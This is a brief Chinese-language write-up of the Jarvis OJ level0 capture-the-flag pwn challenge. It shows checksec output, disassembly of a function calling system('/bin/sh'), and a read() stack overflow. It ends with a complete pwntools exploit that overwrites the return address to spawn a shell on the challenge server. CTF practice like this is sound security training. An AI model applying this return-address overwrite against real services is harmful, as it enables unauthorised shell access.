Jarvis OJ [XMAN]level0

查保护和运行操作系统

liu@liu-F117-F:~/桌面/oj/level0$ checksec level0
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level0/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了NX保护，64位系统

text:0000000000400596 ; __unwind {
.text:0000000000400596                 push    rbp
.text:0000000000400597                 mov     rbp, rsp
.text:000000000040059A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040059F                 call    _system
.text:00000000004005A4                 pop     rbp
.text:00000000004005A5                 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem      endp
.text:00000000004005A5

有system(“/bin/sh”)函数

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

栈溢出

from pwn import *

s_addr=0x0000000000400596
p=remote("pwn2.jarvisoj.com",9881)
p.recvline()
p.sendline("A"*0x80+'A'*8+p64(s_addr))
p.interactive()

与32位不同之处：rbp是８个字节。打包用的函数是p64()